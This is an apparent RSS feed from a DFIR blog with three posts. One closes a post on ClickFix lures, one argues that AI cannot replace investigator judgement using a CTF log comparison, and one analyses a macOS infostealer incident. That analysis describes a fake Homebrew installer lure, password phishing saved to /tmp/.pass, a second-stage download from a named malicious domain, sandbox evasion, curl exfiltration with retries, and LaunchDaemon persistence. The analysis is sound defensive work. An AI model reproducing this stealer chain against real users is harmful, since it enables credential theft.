&lt;li&gt;login / background items&lt;/li&gt;
&lt;li&gt;archive creation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On Linux, that usually means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;shell history (~/.bash_history, ~/.zsh_history) – although it may have been tampered with&lt;/li&gt;
&lt;li&gt;audit logs if configured, particularly execve records&lt;/li&gt;
&lt;li&gt;/tmp and /var/tmp for staged files or working directories&lt;/li&gt;
&lt;li&gt;cron jobs&lt;/li&gt;
&lt;li&gt;systemd user units and ~/.config/autostart entries for persistence&lt;/li&gt;
&lt;li&gt;curl, wget, python3, chmod – the context and parent process matter&lt;/li&gt;
&lt;li&gt;/proc on a live system for running process command lines&lt;/li&gt;
&lt;li&gt;journalctl for execution evidence on systemd-based systems&lt;/li&gt;
&lt;li&gt;live network state via ss or netstat before any reboot&lt;/li&gt;
&lt;li&gt;archive creation in home directories or /tmp&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;
&lt;p&gt;Enable the logging you will need before an incident happens (&lt;a href=&quot;https://www.pentestpartners.com/security-blog/the-logs-youll-wish-you-had-configured-if-when-you-are-breached/&quot;&gt;here’s a blog post to help with that&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Consider disabling Windows key + R and the Run dialog for users who do not genuinely need it.&lt;/p&gt;
&lt;p&gt;Train staff to spot ClickFix-style lures, fake repair prompts, fake installers, and any copy-and-paste ‘fix’ that asks them to run commands on trust.&lt;/p&gt;
&lt;p&gt;I would also review egress controls, because once the malware has reached the staging phase, the network often becomes the last line of defence – as we evidenced in our previous infostealer blog.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;A copy button and a pasted command can be enough.&lt;/p&gt;
&lt;p&gt;After that, expect payload delivery, staging, persistence, and exfiltration.&lt;/p&gt;
&lt;p&gt;The lure may look simple, but the consequences usually aren’t.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>Threat Analysis</category><category>ClickFix</category><category>social engineering</category><category>initial access</category></item><item><title>AI can help in DFIR, but it cannot replace investigator judgement</title><link>https://jwdfir.com/articles/ai-can-help-in-dfir-but-it-cannot-replace-investigator-judgement/</link><guid isPermaLink="true">https://jwdfir.com/articles/ai-can-help-in-dfir-but-it-cannot-replace-investigator-judgement/</guid><description>Where AI helps in DFIR and where it falls short: why context, evidence and investigator judgement still decide what actually happened in an incident.</description><pubDate>Tue, 21 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Digital Forensics and Incident Response (DFIR) is about judgement, not just tools&lt;/li&gt;
&lt;li&gt;The difference between evidence and noise is context&lt;/li&gt;
&lt;li&gt;AI can support DFIR investigations, but it cannot replace human reasoning&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In my previous blog post, I wrote about &lt;a href=&quot;https://jwdfir.com/articles/finding-your-path-into-dfir/&quot;&gt;finding your path into DFIR&lt;/a&gt;; how to get started, where to focus your time, and why curiosity and good fundamentals matter more than just chasing every certification.&lt;/p&gt;
&lt;p&gt;That is still true, but once you have been in the field for a while, you start to realise that getting into DFIR is only one part of it. The next step, and probably the harder one, is learning how to think like an investigator. For me, that is where the job really starts to get interesting.&lt;/p&gt;
&lt;h2 id=&quot;dfir-is-about-judgement-not-just-tools&quot;&gt;DFIR is about judgement, not just tools&lt;/h2&gt;
&lt;p&gt;DFIR is not just about knowing where artefacts live or being able to run a collection and generate a timeline. Those things matter, but they do not make an investigation on their own. What matters is how you approach the evidence in front of you, how you decide what is important, what is just noise, and how you build a logical picture of what actually happened.&lt;/p&gt;
&lt;p&gt;When you first get into DFIR, there is a natural tendency to focus on the technical side of it. You learn what specific artefacts mean, you learn how to use forensic tools, you get excited when you find something interesting. But at some point, you have to move beyond simply finding things and start asking whether they matter.&lt;/p&gt;
&lt;h2 id=&quot;how-investigators-separate-signal-from-noise&quot;&gt;How investigators separate signal from noise&lt;/h2&gt;
&lt;p&gt;Modern investigations are noisy. Endpoints are noisy, cloud environments are noisy, users are noisy, and security tooling adds its own layer of noise on top of that. There is background activity everywhere, and you can spend hours looking at something that is interesting but completely irrelevant to the incident you are meant to be dealing with.&lt;/p&gt;
&lt;p&gt;The real skill is knowing what matters right now. That is just as true in incident response as it is in forensics. Clients do not care how many artefacts you know about, they want to know whether the attacker is still there, how they got in, what they touched, and what needs to happen next.&lt;/p&gt;
&lt;p&gt;To answer that properly, you need more than technical knowledge. You need context and judgement, something that can only come from us, as human investigators. That is why an investigative mindset matters so much. It’s what stops you treating every oddity as equally important. It is what makes you ask better questions than “what have I found?” and instead ask “what am I actually trying to prove or disprove here?”&lt;/p&gt;
&lt;p&gt;That might be whether a user opened the attachment they insist they never touched. It might be whether an attacker had hands-on-keyboard access or whether a compromise was automated. It might be whether data was staged before it left the environment, or whether a suspicious logon was actually suspicious at all once you put it into context.&lt;/p&gt;
&lt;h2 id=&quot;context-is-what-makes-the-evidence-useful&quot;&gt;Context is what makes the evidence useful&lt;/h2&gt;
&lt;p&gt;A single artefact on its own is rarely enough. A process execution, a timestamp, a file write, or a logon event can all be useful but they only really start to mean something when you look at what happened around them. What came before it? What followed it? Who was the user? Was there network activity? Does it line up with the other evidence, or does it point somewhere else entirely?&lt;/p&gt;
&lt;p&gt;That is where the investigation lives, not in isolated artefacts, but in the relationships between them.&lt;/p&gt;
&lt;p&gt;One of the easiest traps to fall into in a DFIR investigation is giving too much weight to the first thing that looks suspicious. A PowerShell command with an encoded string, an odd scheduled task, a binary dropped into a temp folder, or a login at an unusual time can all look like the start of the story when you first find them. Quite often, though, they are not the story at all. In isolation, they look important because they resemble the kind of activity we are trained to look for, but once you widen the view and start looking at the surrounding context, they can turn out to be completely benign.&lt;/p&gt;
&lt;h2 id=&quot;placing-the-suspect-behind-the-keyboard&quot;&gt;Placing the suspect behind the keyboard&lt;/h2&gt;
&lt;p&gt;It is also why I have always liked the idea of placing the suspect behind the keyboard. Some of my interest in that kind of investigative judgement comes from Brett Shavers’ work in the field, where he has consistently pushed the idea that good investigations are not just about collecting artefacts, but about understanding the person or thing and the behaviour behind them or it.&lt;/p&gt;
&lt;p&gt;At the end of the day, we are not just collecting data, we are trying to understand actions. Someone logged on, someone ran that command, someone accessed that mailbox, someone moved that data. Even where malware is involved, there is usually still a human decision-making process somewhere in the chain, and the closer you can get to understanding that, the better your investigation will be.&lt;/p&gt;
&lt;h2 id=&quot;ai-can-assist-but-it-cannot-replace-judgement&quot;&gt;AI can assist, but it cannot replace judgement&lt;/h2&gt;
&lt;p&gt;I think this has become even more important with the introduction of AI.&lt;/p&gt;
&lt;p&gt;AI will absolutely have a place in DFIR, and in many ways it already does. It can help making some of the repetitive parts of the job quicker, but none of that replaces investigative judgement.&lt;/p&gt;
&lt;p&gt;Attackers will use it as well, whether that is to tidy up phishing lures, speed up development, or lower the barrier for entry.&lt;/p&gt;
&lt;p&gt;AI can help you, but it cannot truly understand the nuance of a case in the way an investigator can. It does not know the environment like you do once you have spent time in it. It cannot properly weigh up competing explanations, spot when something does not quite fit, or decide how much confidence to place in a conclusion when the evidence is messy. It can give you something that sounds plausible, but in this field, plausible is not the same as right.&lt;/p&gt;
&lt;p&gt;DFIR is not just looking at data, It is using reasoning, using judgement. It is knowing when the evidence is strong, when it is weak, and when the most honest answer is that you cannot say for certain.&lt;/p&gt;
&lt;p&gt;If anything, the more AI gets folded into both attack chains and defensive workflows, the more important it becomes for investigators to have strong fundamentals and good judgement. There will be more output, more noise, more automation, and probably more confidence in conclusions that have not been challenged properly.&lt;/p&gt;
&lt;p&gt;AI has a habit of making statements confidently, based on patterns it has seen before, very much dependent on the prompts used. We need AI to help point us at interesting artefacts and behavioural data, but cannot rely on it to investigate or provide the level of judgement that an experienced human can.&lt;/p&gt;
&lt;p&gt;There are already some strong discussions in the DFIR community around AI and its impact. A couple of recent articles and videos worth looking at are below:&lt;/p&gt;
&lt;p&gt;13Cubed – &lt;a href=&quot;https://www.youtube.com/watch?v=wKn-9sKBqX8&quot;&gt;The AI Conversation I’ve Been Avoiding&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Brett Shavers – &lt;a href=&quot;https://www.goodreads.com/author_blog_posts/26500814-ai-won-t-replace-dfir-investigators-but-it-will-replace-those-who-don-t&quot;&gt;AI Won’t Replace DFIR Investigators. But It Will Replace Those Who Don’t Investigate&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;ai-vs-investigator&quot;&gt;AI vs Investigator&lt;/h2&gt;
&lt;p&gt;To evidence hallucination from AI and show why human judgement is a requirement, I have downloaded event logs from a DFIR challenge named &lt;a href=&quot;https://www.securitynik.com/2026/01/ctf-silence-of-ram-tushars-write-up.html&quot;&gt;‘Silence of the RAM’&lt;/a&gt; designed by Tushar Arora. It is a scenario focused exercise where event logs are analysed – the CTF was inspired by the EDR Freeze vulnerability.&lt;/p&gt;
&lt;p&gt;I chose this exercise because it contains artefacts that AI can look at and get the wrong idea, i.e. PowerShell, service changes, browser downloads, and suspicious binaries. The LLM confidently claimed there was no meaningful persistence, suggested RDP was the likely remote access path, treated the encoded PowerShell as administrative noise, and misidentified binaries and processes.&lt;/p&gt;
&lt;p&gt;Below shows what the evidence showed upon analysis, and what the LLM had to say:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What the evidence showed&lt;/th&gt;
&lt;th&gt;What the AI model said&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;The initial payload was AdobeFlashUpdater.exe&lt;/td&gt;
&lt;td&gt;The user downloaded a generic browser update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cyserver.exe crashed, and created a monitoring blackout&lt;/td&gt;
&lt;td&gt;Defender or a random user process likely crashed due to instability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenSSH was enabled for persistence and re-entry&lt;/td&gt;
&lt;td&gt;SSH-related commands were benign, and RDP was likely the access method&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The attacker created servicemgmt and added it to Administrators&lt;/td&gt;
&lt;td&gt;The account was likely built in, or a service account with no real significance&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The LLM looks at things like remote access and assumes RDP, it sees a new account and treats it as routine. It sees a browser process and decides that is a key part of the compromise.&lt;/p&gt;
&lt;p&gt;A human investigator with judgement and context works differently and they ask what the evidence supports. We might look at the sequence of events, the timing, the context surrounding those artefacts. The human investigator might see the privileged user account and dig deeper, they see that OpenSSH was enabled and ask themselves why.&lt;/p&gt;
&lt;p&gt;That is why AI can help in DFIR, but it cannot replace an investigators judgement. It can point you in a direction, which could throw you down the complete wrong path, and you might then follow further to validate what the model is confidently telling you.&lt;/p&gt;
&lt;p&gt;What it can’t do is reliably decide what artefacts mean in context, or whether the story it is telling matches the evidence at all.&lt;/p&gt;
&lt;h2 id=&quot;learning-to-think-like-an-investigator&quot;&gt;Learning to think like an investigator&lt;/h2&gt;
&lt;p&gt;Once you are in DFIR, the real development comes from building that investigative mindset. The ability to pick the right clue, ignore the noise that does not matter, challenge your own assumptions, and keep sight of the human activity behind the evidence you are looking at.&lt;/p&gt;
&lt;p&gt;Anyone can learn to run a tool but the harder part, and the bit that really makes the difference over time, is learning how to think like an investigator.&lt;/p&gt;
</content:encoded><dc:creator>Joseph Williams</dc:creator><category>AI &amp; Investigation</category><category>AI</category><category>investigation</category><category>methodology</category></item><item><title>2025, the year of the Infostealer</title><link>https://jwdfir.com/articles/2025-the-year-of-the-infostealer/</link><guid isPermaLink="true">https://jwdfir.com/articles/2025-the-year-of-the-infostealer/</guid><description>How infostealers grew in 2025, and a real macOS incident where a one-line terminal lure stole credentials, staged an archive and tried to exfiltrate it.</description><pubDate>Tue, 06 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Infostealers are not new, but their tradecraft has evolved to be faster, quieter, and easier to deploy.&lt;/li&gt;
&lt;li&gt;In 2025, infostealers became the fastest growing malware category, driven by simple copy and paste terminal lures across Windows, Linux, and macOS.&lt;/li&gt;
&lt;li&gt;We investigated a real macOS infostealer incident where a user was tricked into running a single command disguised as a legitimate installer.&lt;/li&gt;
&lt;li&gt;The malware harvested credentials and user data, staged it into a single archive, and attempted exfiltration using native macOS tooling.&lt;/li&gt;
&lt;li&gt;Network egress controls blocked data exfiltration, limiting the impact and keeping the incident contained to one host.&lt;/li&gt;
&lt;li&gt;The key lesson is that familiar web, script, and user driven attack techniques still work, even when the malware looks modern and minimal.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Infostealers are not new malware. They have been around for decades. What has changed is how effective they have become, and how easily they blend into normal user behaviour.&lt;/p&gt;
&lt;p&gt;In 2025, infostealers became the fastest growing malware category, overtaking ransomware in terms of deployment and spread. The &lt;a href=&quot;https://www.recordedfuture.com/research/h1-2025-malware-and-vulnerability-trends#:~:text=The%20total%20number%20of%20CVEs,actors%20to%20find%20exploitable%20flaws.&quot;&gt;H1 2025 reports&lt;/a&gt; highlighted a sharp rise in simple “copy and paste this command” lures, used to deliver infostealers across Windows, Linux, and macOS environments. These attacks do not rely on complex tooling or exploits. They rely on users doing something that looks routine.&lt;/p&gt;
&lt;p&gt;That tradecraft is not new either. Anyone who remembers LimeWire will remember how easily a single download could compromise a machine. The difference today is scale, speed, and targeting. Modern Infostealers use native tools, legitimate services, and familiar workflows to harvest credentials and data quickly, often completing their entire lifecycle in minutes.&lt;/p&gt;
&lt;h2 id=&quot;a-real-world-macos-infostealer-incident&quot;&gt;A real-world macOS Infostealer incident&lt;/h2&gt;
&lt;p&gt;Infostealers come in all different shapes and sizes. We recently worked on a case whereby a client received a series of alerts on Microsoft Defender for Endpoint (MDE), indicating command and control (C2) malware was identified on one of their devices.&lt;/p&gt;
&lt;p&gt;We were engaged to provide support in containment, preventing the spread of the malware and then provided further analysis of the attack and its origin.&lt;/p&gt;
&lt;p&gt;We reviewed MDE to identify any indicators of compromise and identify any other suspicious activities. During analysis, we identified the malware had reached the data staging and compression phase, following that was the exfiltration stage. However, exfiltration was thankfully blocked by network security applications.&lt;/p&gt;
&lt;p&gt;Analysis of the malware was conducted, and we identified it as a macOS based malware targeting credential and data harvesting, with capabilities to perform cleanup operations and establish persistency.&lt;/p&gt;
&lt;p&gt;Whilst similar malware has been used in the past, based on our analysis, it is highly likely this was the first time this specific variant had been seen in the wild. The malicious script leveraged tools native to macOS and manipulated system files to obscure its actions.&lt;/p&gt;
&lt;p&gt;Shown below is the initial alert, indicating credential access via Atomic Stealer malware and a multi-stage incident involving privilege escalation:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/01-e540cc88.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/01-e540cc88.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/01-e540cc88.webp 1209w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/01-e540cc88.webp&quot; alt=&quot;Security console alerts: a medium-severity Atomic Stealer credential access alert and a high-severity multi-stage privilege escalation incident&quot; width=&quot;1209&quot; height=&quot;144&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Subsequent analysis confirmed the presence of a custom AppleScript payload that initiated data exfiltration and established persistence mechanisms. The malicious activity involved:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Execution of a custom AppleScript via bash and /bin/sh&lt;/li&gt;
&lt;li&gt;Credential harvesting through targeted file acquisition and phishing tactics.&lt;/li&gt;
&lt;li&gt;Targeted file harvesting across multiple directories including Documents, Desktop, Downloads, and applications specific data.&lt;/li&gt;
&lt;li&gt;Compression of harvested data into /tmp/out.zip&lt;/li&gt;
&lt;li&gt;Attempted exfiltration of archive out.zip to external command-and-control (C2) endpoint.&lt;/li&gt;
&lt;li&gt;Installation of persistency mechanisms.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Data exfiltration was attempted: the malicious script successfully collected data for exfiltration in file /tmp/out.zip and attempted to transmit it via curl commands. Network security controls successfully intercepted and blocked the outbound traffic.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/02-a0785274.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/02-a0785274.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/02-a0785274.webp 2252w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/02-a0785274.webp&quot; alt=&quot;Log query results showing two blocked outbound uploads of out.zip, with URL and hostname redacted&quot; width=&quot;2252&quot; height=&quot;348&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Employment of advanced threat hunting queries did not identify any evidence of lateral movement to other endpoints or assets within the environment. The activity remained localised to a single host throughout the attack window.&lt;/p&gt;
&lt;p&gt;No hands-on-keyboard or C2 Interaction was detected, and although the script created persistence, there was no evidence of any real-time remote access, live command and control interaction, or post-exploitation activity. No interactive sessions, beaconing, or shell command execution beyond the automated script were observed.&lt;/p&gt;
&lt;p&gt;The malware analysed was a macOS AppleScript-based payload executed from a curl command. It was hosted on a GitHub page designed to lure users into downloading what they believed was a homebrew installer.&lt;/p&gt;
&lt;p&gt;We observed a similar attack pattern throughout 2025, where threat actors abused Google Ads and typosquatted domains to steer users to malicious lookalike sites, such as the spoofed Homebrew page shown below.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/03-b8739503.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/03-b8739503.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/03-b8739503.webp 909w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/03-b8739503.webp&quot; alt=&quot;Google search for &apos;homebrew&apos; with a sponsored result for a lookalike brew.sh listing highlighted in red&quot; width=&quot;909&quot; height=&quot;372&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;If a user landed on this page, they were then presented with a second site that is visually indistinguishable from the legitimate one. The key difference is that the attacker forces use of a copy button: users can’t manually highlight and copy the command. As a result, the user doesn’t see the full payload, which in this case, is a base64-encoded command added after the legitimate command.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/04-0fc0487b.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/04-0fc0487b.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/04-0fc0487b.webp 1029w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/04-0fc0487b.webp&quot; alt=&quot;Spoofed Homebrew install page that looks genuine but offers only a copy button for the install command&quot; width=&quot;1029&quot; height=&quot;747&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;In our investigation, the attack starts from GitHub. Below is the repository we identified, which has since been taken down by GitHub.&lt;/p&gt;
&lt;p&gt;Notice that the GitHub account has zero previous activity, joined ‘yesterday’ and their only repository, which was created the same day, is named ‘fastinst’.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/05-f99d47ca.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/05-f99d47ca.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/05-f99d47ca.webp 903w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/05-f99d47ca.webp&quot; alt=&quot;GitHub profile with a default avatar, one public repository called fastinst, and a &apos;Joined yesterday&apos; note&quot; width=&quot;903&quot; height=&quot;369&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The attacker created their GitHub account on 24th June 2025.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/06-bd863a04.webp&quot; alt=&quot;GitHub activity entry showing the attacker&apos;s account joined on 24 June 2025&quot; width=&quot;678&quot; height=&quot;402&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;On the same day, they created their first repository, named ‘fastinst’.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/07-4018ec43.webp&quot; alt=&quot;GitHub activity showing the account&apos;s first repository, fastinst, created on 24 June with two commits&quot; width=&quot;672&quot; height=&quot;543&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The repository shows a ‘One-Command Homebrew Installation for macOS’, however, this command is reaching out to their malicious domain, and it will definitely not ‘securely download and install the latest version of Homebrew’.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/08-c86fa6dd.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/08-c86fa6dd.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/08-c86fa6dd.webp 948w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/08-c86fa6dd.webp&quot; alt=&quot;Malicious fastinst repository README posing as a Homebrew installer, with the curl command&apos;s domain highlighted&quot; width=&quot;948&quot; height=&quot;708&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Here’s what it actually does…&lt;/p&gt;
&lt;p&gt;The first stage of the malicious script used phishing techniques to trick the user into entering their password, which it saved to /tmp/.pass for later use. Once the user had entered the correct password, the script would call the second stage payload and perform anti-sandbox checks before full execution of capabilities.&lt;/p&gt;
&lt;p&gt;Below shows a screenshot of the install.sh in the terminal.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/09-b9a789ff.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/09-b9a789ff.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/09-b9a789ff.webp 909w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/09-b9a789ff.webp&quot; alt=&quot;Terminal output of install.sh, a script that loops prompting for the system password, then downloads and runs a second-stage file&quot; width=&quot;909&quot; height=&quot;537&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;In plain English, the above is doing the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gets the current username (whoami).&lt;/li&gt;
&lt;li&gt;Prompts repeatedly for the user’s system password and validates it with dscl . -authonly … until it’s correct.&lt;/li&gt;
&lt;li&gt;Writes the captured password to /tmp/.pass.&lt;/li&gt;
&lt;li&gt;Downloads a second-stage binary/script (update) to /tmp/update from carmenzo.com.&lt;/li&gt;
&lt;li&gt;Uses the stolen password to run a privileged command via sudo -S and clears macOS quarantine/attributes on the payload (xattr -c /tmp/update).&lt;/li&gt;
&lt;li&gt;Marks it executable (chmod +x) and executes /tmp/update.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once satisfied, the script does some sandbox checks.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/10-d157f9dd.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/10-d157f9dd.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/10-d157f9dd.webp 909w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/10-d157f9dd.webp&quot; alt=&quot;Script snippet running system_profiler checks for virtual machine indicators such as QEMU, VMware and KVM as a sandbox check&quot; width=&quot;909&quot; height=&quot;93&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;This entails the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Queries hardware and memory details using system_profiler.&lt;/li&gt;
&lt;li&gt;Searches the output for common virtualisation indicators (e.g. QEMU, VMware, KVM) and other telltale hardware strings.&lt;/li&gt;
&lt;li&gt;If it detects a likely VM/sandbox environment, it exits with code 100; otherwise, it exits normally (0) and continues execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once anti-sandbox checks had passed, the script demonstrates many capabilities. Including credential collections from multiple browsers and host artefacts, searching for crypto-currency wallets, data exfiltration, creating persistency and cleanup operations.&lt;/p&gt;
&lt;p&gt;During data exfiltration a preconfigured remote host is set as the C2, and the script contains logic for multiple attempts at transmitting the stolen data.&lt;/p&gt;
&lt;p&gt;Below shows data exfiltration and persistence being set, followed by a clean-up phase:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/11-dc2b54ef.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/11-dc2b54ef.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/11-dc2b54ef.webp 909w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/11-dc2b54ef.webp&quot; alt=&quot;AppleScript function that retries sending the zipped data to a remote server with curl, up to 15 times&quot; width=&quot;909&quot; height=&quot;240&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/12-0b6adf18.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/12-0b6adf18.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/12-0b6adf18.webp 909w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/12-0b6adf18.webp&quot; alt=&quot;Script configuration variables for login, build ID, command-and-control gate address and bot URL used during exfiltration&quot; width=&quot;909&quot; height=&quot;324&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;This is how the exfiltration works:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Defines a send_data(…) routine that uses curl to POST an archive (/tmp/out.zip) to a remote server at gate + “/contact”.&lt;/li&gt;
&lt;li&gt;Adds several custom HTTP headers (user, BuildID, cl, cn) that act as identifiers/metadata for the victim or campaign.&lt;/li&gt;
&lt;li&gt;If the upload fails, it retries up to 15 times, waiting 60 seconds between attempts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, moving onto establishing persistence…&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/13-fba094cd.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/w800/13-fba094cd.webp 800w, https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/13-fba094cd.webp 909w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/2025-the-year-of-the-infostealer/13-fba094cd.webp&quot; alt=&quot;AppleScript writing a hidden agent script and installing a LaunchDaemon plist with sudo to establish persistence&quot; width=&quot;909&quot; height=&quot;378&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;Writes an “agent” script to disk at profile + “/.agent” (and makes it executable).&lt;/li&gt;
&lt;li&gt;Writes a LaunchDaemon plist (startup config) to /tmp/starter.&lt;/li&gt;
